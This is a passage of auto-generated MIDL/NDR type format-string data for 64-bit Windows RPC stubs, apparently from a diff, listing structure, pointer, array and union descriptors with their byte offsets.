FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2740 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2742 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2744 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2746 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2748 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2750 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2752 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2754 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2758 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2760 */ + 0x12, 0x0, /* FC_UP */ +/* 2762 */ NdrFcShort( 0xffd6 ), /* Offset= -42 (2720) */ +/* 2764 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2766 */ + 0x11, 0x0, /* FC_RP */ +/* 2768 */ NdrFcShort( 0xfdfe ), /* Offset= -514 (2254) */ +/* 2770 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2772 */ NdrFcShort( 0x2 ), /* Offset= 2 (2774) */ +/* 2774 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2776 */ NdrFcShort( 0x14 ), /* Offset= 20 (2796) */ +/* 2778 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2780 */ NdrFcShort( 0x18 ), /* 24 */ +/* 2782 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2784 */ NdrFcShort( 0x8 ), /* Offset= 8 (2792) */ +/* 2786 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2788 */ 0x40, /* FC_STRUCTPAD4 */ + 0xb, /* FC_HYPER */ +/* 2790 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2792 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2794 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2796 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2798 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2800 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2802 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2804 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2806 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2810 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2812 */ + 0x12, 0x0, /* FC_UP */ +/* 2814 */ NdrFcShort( 0xffdc ), /* Offset= -36 (2778) */ +/* 2816 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2818 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2820 */ NdrFcShort( 0x2 ), /* Offset= 2 (2822) */ +/* 2822 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2824 */ NdrFcShort( 0x26 ), /* Offset= 38 (2862) */ +/* 2826 */ + 0x1d, /* FC_SMFARRAY */ + 0x0, /* 0 */ +/* 2828 */ NdrFcShort( 0x20 ), /* 32 */ +/* 2830 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 2832 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2834 */ NdrFcShort( 0x60 ), /* 96 */ +/* 2836 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2838 */ NdrFcShort( 0x14 ), /* Offset= 20 (2858) */ +/* 2840 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2842 */ NdrFcShort( 0xffc0 ), /* Offset= -64 (2778) */ +/* 2844 */ 0x36, /* FC_POINTER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 2846 */ 0x0, /* 0 */ + NdrFcShort( 0xf4f1 ), /* Offset= -2831 (16) */ + 0x8, /* FC_LONG */ +/* 2850 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2852 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2854 */ NdrFcShort( 0xffe4 ), /* Offset= -28 (2826) */ +/* 2856 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 2858 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2860 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2862 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2864 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2866 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2868 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2870 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2872 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2876 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2878 */ + 0x12, 0x0, /* FC_UP */ +/* 2880 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (2832) */ +/* 2882 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2884 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2886 */ NdrFcShort( 0x2 ), /* Offset= 2 (2888) */ +/* 2888 */ + 0x12, 0x0, /* FC_UP */ +/* 2890 */ NdrFcShort( 0x2 ), /* Offset= 2 (2892) */ +/* 2892 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2894 */ NdrFcShort( 0x8 ), /* 8 */ +/* 2896 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2898 */ NdrFcShort( 0x4 ), /* Offset= 4 (2902) */ +/* 2900 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 2902 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2904 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2906 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2908 */ NdrFcShort( 0x2 ), /* Offset= 2 (2910) */ +/* 2910 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2912 */ NdrFcShort( 0x18 ), /* Offset= 24 (2936) */ +/* 2914 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2916 */ NdrFcShort( 0x18 ), /* 24 */ +/* 2918 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2920 */ NdrFcShort( 0x8 ), /* Offset= 8 (2928) */ +/* 2922 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2924 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2926 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2928 */ + 0x12, 0x0, /* FC_UP */ +/* 2930 */ NdrFcShort( 0xff9e ), /* Offset= -98 (2832) */ +/* 2932 */ + 0x12, 0x0, /* FC_UP */ +/* 2934 */ NdrFcShort( 0xff2a ), /* Offset= -214 (2720) */ +/* 2936 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2938 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2940 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2942 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2944 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2946 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2950 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2952 */ + 0x12, 0x0, /* FC_UP */ +/* 2954 */ NdrFcShort( 0xffd8 ), /* Offset= -40 (2914) */ +/* 2956 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2958 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 2960 */ NdrFcShort( 0x2 ), /* Offset= 2 (2962) */ +/* 2962 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 2964 */ NdrFcShort( 0xc ), /* 12 */ +/* 2966 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2968 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 2970 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2972 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2974 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2976 */ NdrFcShort( 0x2 ), /* Offset= 2 (2978) */ +/* 2978 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2980 */ NdrFcShort( 0x54 ), /* Offset= 84 (3064) */ +/* 2982 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2984 */ NdrFcShort( 0x98 ), /* 152 */ +/* 2986 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2988 */ NdrFcShort( 0x1c ), /* Offset= 28 (3016) */ +/* 2990 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2992 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2994 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2996 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2998 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3000 */ 0x36, /* FC_POINTER */ + 0xb, /* FC_HYPER */ +/* 3002 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3004 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 3006 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 3008 */ 0x36, /* FC_POINTER */ + 0x6, /* FC_SHORT */ +/* 3010 */ 0x6, /* FC_SHORT */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3012 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 3014 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 3016 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3018 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3020 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3022 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3024 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3026 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3028 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3030 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3032 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3034 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3036 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3038 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3040 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3042 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3044 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3046 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3048 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3050 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3052 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3054 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3056 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3058 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3060 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3062 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3064 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 3066 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3068 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 3070 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3072 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3074 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 3078 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3080 */ + 0x12, 0x0, /* FC_UP */ +/* 3082 */ NdrFcShort( 0xff9c ), /* Offset= -100 (2982) */ +/* 3084 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3086 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3088 */ NdrFcShort( 0x2 ), /* Offset= 2 (3090) */ +/* 3090 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 3092 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3094 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 3096 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3098 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3100 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 3104 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3106 */ + 0x12, 0x0, /* FC_UP */ +/* 3108 */ NdrFcShort( 0xff82 ), /* Offset= -126 (2982) */ +/* 3110 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3112 */ + 0x11, 0x0, /* FC_RP */ +/* 3114 */ NdrFcShort( 0x44 ), /* Offset= 68 (3182) */ +/* 3116 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3118 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3120 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3122 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3124 */ NdrFcShort( 0x2 ), /* Offset= 2 (3126) */ +/* 3126 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3128 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3130 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3134 */ NdrFcShort( 0x4 ), /* Offset= 4 (3138) */ +/* 3136 */ NdrFcShort( 0xffff ), /* Offset= -1 (3135) */ +/* 3138 */ + 0x12, 0x0, /* FC_UP */ +/* 3140 */ NdrFcShort( 0x18 ), /* Offset= 24 (3164) */ +/* 3142 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 3144 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3146 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 3148 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3150 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3152 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 3156 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3158 */ + 0x12, 0x0, /* FC_UP */ +/* 3160 */ NdrFcShort( 0xf584 ), /* Offset= -2684 (476) */ +/* 3162 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3164 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 3166 */ NdrFcShort( 0x18 ), /* 24 */ +/* 3168 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3170 */ NdrFcShort( 0x8 ), /* Offset= 8 (3178) */ +/* 3172 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 3174 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 3176 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3178 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3180 */ NdrFcShort( 0xffda ), /* Offset= -38 (3142) */ +/* 3182 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3184 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3186 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3188 */ NdrFcShort( 0x0 ), /* Offset= 0 (3188) */ +/* 3190 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3192 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3194 */ NdrFcShort( 0xffb2 ), /* Offset= -78 (3116) */ +/* 3196 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3198 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3200 */ NdrFcShort( 0x2 ), /* Offset= 2 (3202) */ +/* 3202 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 3204 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3206 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 3208 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3210 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3212 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 3214 */ + 0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */ +/* 3216 */ 0xb, /* FC_HYPER */ + 0x5c, /* FC_PAD */ +/* 3218 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3220 */ NdrFcShort( 0x2 ), /* Offset= 2 (3222) */ +/* 3222 */ + 0x12, 0x0, /* FC_UP */ +/* 3224 */ NdrFcShort( 0x18 ), /* Offset= 24 (3248) */ +/* 3226 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3228 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3230 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3232 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3234 */ NdrFcShort( 0x2 ), /* Offset= 2 (3236) */ +/* 3236 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3238 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3240 */ NdrFcLong( 0x1 ), /* 1 */ +/* 3244 */ NdrFcShort( 0xf590 ), /* Offset= -2672 (572) */ +/* 3246 */ NdrFcShort( 0xffff ), /* Offset= -1 (3245) */ +/* 3248 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3250 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3252 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3254 */ NdrFcShort( 0x0 ), /* Offset= 0 (3254) */ +/* 3256 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3258 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3260 */ NdrFcShort( 0xffde ), /* Offset= -34 (3226) */ +/* 3262 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3264 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3266 */ NdrFcShort( 0x2 ), /* Offset= 2 (3268) */ +/* 3268 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 3270 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3272 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 3274 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3276 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3278 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 3282 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3284 */ + 0x12, 0x0, /* FC_UP */ +/* 3286 */ NdrFcShort( 0xfed0 ), /* Offset= -304 (2982) */ +/* 3288 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3290 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3292 */ NdrFcShort( 0x2 ), /* Offset= 2 (3294) */ +/* 3294 */ + 0x12, 0x0, /* FC_UP */ +/* 3296 */ NdrFcShort( 0x62 ), /* Offset= 98 (3394) */ +/* 3298 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3300 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3302 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3304 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3306 */ NdrFcShort( 0x2 ), /* Offset= 2 (3308) */ +/* 3308 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3310 */ NdrFcShort( 0x3 ), /* 3 */ +/* 3312 */ NdrFcLong( 0x1 ), /* 1 */ +/* 3316 */ NdrFcShort( 0x10 ), /* Offset= 16 (3332) */ +/* 3318 */ NdrFcLong( 0x2 ), /* 2 */ +/* 3322 */ NdrFcShort( 0x1e ), /* Offset= 30 (3352) */ +/* 3324 */ NdrFcLong( 0x3 ), /* 3 */ +/* 3328 */ NdrFcShort( 0x2c ), /* Offset= 44 (3372) */ +/* 3330 */ NdrFcShort( 0xffff ), /* Offset= -1 (3329) */ +/* 3332 */ + 0x12, 0x0, /* FC_UP */ +/* 3334 */ NdrFcShort( 0x2 ), /* Offset= 2 (3336) */ +/* 3336 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 3338 */ NdrFcShort( 0x20 ), /* 32 */ +/* 3340 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3342 */ NdrFcShort( 0x0 ), /* Offset= 0 (3342) */ +/* 3344 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3346 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 3348 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3350 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3352 */ + 0x12, 0x0, /* FC_UP */ +/* 3354 */ NdrFcShort( 0x2 ), /* Offset= 2 (3356) */ +/* 3356 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3358 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3360 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3362 */ NdrFcShort( 0x6 ), /* Offset= 6 (3368) */ +/* 3364 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 3366 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 3368 */ + 0x12, 0x0, /* FC_UP */ +/* 3370 */ NdrFcShort( 0xffde ), /* Offset= -34 (3336) */ +/* 3372 */ + 0x12, 0x0, /* FC_UP */ +/* 3374 */ NdrFcShort( 0x2 ), /* Offset= 2 (3376) */ +/* 3376 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 3378 */ NdrFcShort( 0x18 ), /* 24 */ +/* 3380 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3382 */ NdrFcShort( 0x8 ), /* Offset= 8 (3390) */ +/* 3384 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 3386 */ 0x40, /* FC_STRUCTPAD4 */ + 0xb, /* FC_HYPER */ +/* 3388 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3390 */ + 0x12, 0x0, /* FC_UP */ +/* 3392 */ NdrFcShort( 0xffdc ), /* Offset= -36 (3356) */ +/* 3394 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3396 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3398 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3400 */ NdrFcShort( 0x0 ), /* Offset= 0 (3400) */ +/* 3402 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3404 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3406 */ NdrFcShort( 0xff94 ), /* Offset= -108 (3298) */ +/* 3408 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3410 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3412 */ 0x8, /* FC_LONG */ + 0x5c, /* FC_PAD */ +/* 3414 */ + 0x12, 0x0, /* FC_UP */ +/* 3416 */ NdrFcShort( 0x2 ), /* Offset= 2 (3418) */ +/* 3418 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3420 */ NdrFcShort( 0x18 ), /* 24 */ +/* 3422 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3424 */ NdrFcShort( 0x8 ), /* Offset= 8 (3432) */ +/* 3426 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3428 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3430 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3432 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3434 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3436 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3438 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3440 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3442 */ NdrFcShort( 0x2 ), /* Offset= 2 (3444) */ +/* 3444 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 3446 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3448 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 3450 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3452 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3454 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 3458 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 3460 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3462 */ NdrFcShort( 0xf2f8 ), /* Offset= -3336 (126) */ +/* 3464 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3466 */ + 0x11, 0x0, /* FC_RP */ +/* 3468 */ NdrFcShort( 0xffce ), /* Offset= -50 (3418) */ +/* 3470 */ + 0x12, 0x0, /* FC_UP */ +/* 3472 */ NdrFcShort( 0x2 ), /* Offset= 2 (3474) */ +/* 3474 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3476 */ NdrFcShort( 0x20 ), /* 32 */ +/* 3478 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3480 */ NdrFcShort( 0x8 ), /* Offset= 8 (3488) */ +/* 3482 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3484 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3486 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 3488 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3490 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3492 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3494 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3496 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3498 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3500 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3502 */ NdrFcShort( 0xfdec ), /* Offset= -532 (2970) */ +/* 3504 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3506 */ NdrFcShort( 0x2 ), /* Offset= 2 (3508) */ +/* 3508 */ + 0x12, 0x0, /* FC_UP */ +/* 3510 */ NdrFcShort( 0x2a ), /* Offset= 42 (3552) */ +/* 3512 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3514 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3516 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3518 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3520 */ NdrFcShort( 0x2 ), /* Offset= 2 (3522) */ +/* 3522 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3524 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3526 */ NdrFcLong( 0x1 ), /* 1 */ +/* 3530 */ NdrFcShort( 0x4 ), /* Offset= 4 (3534) */ +/* 3532 */ NdrFcShort( 0xffff ), /* Offset= -1 (3531) */ +/* 3534 */ + 0x12, 0x0, /* FC_UP */ +/* 3536 */ NdrFcShort( 0x2 ), /* 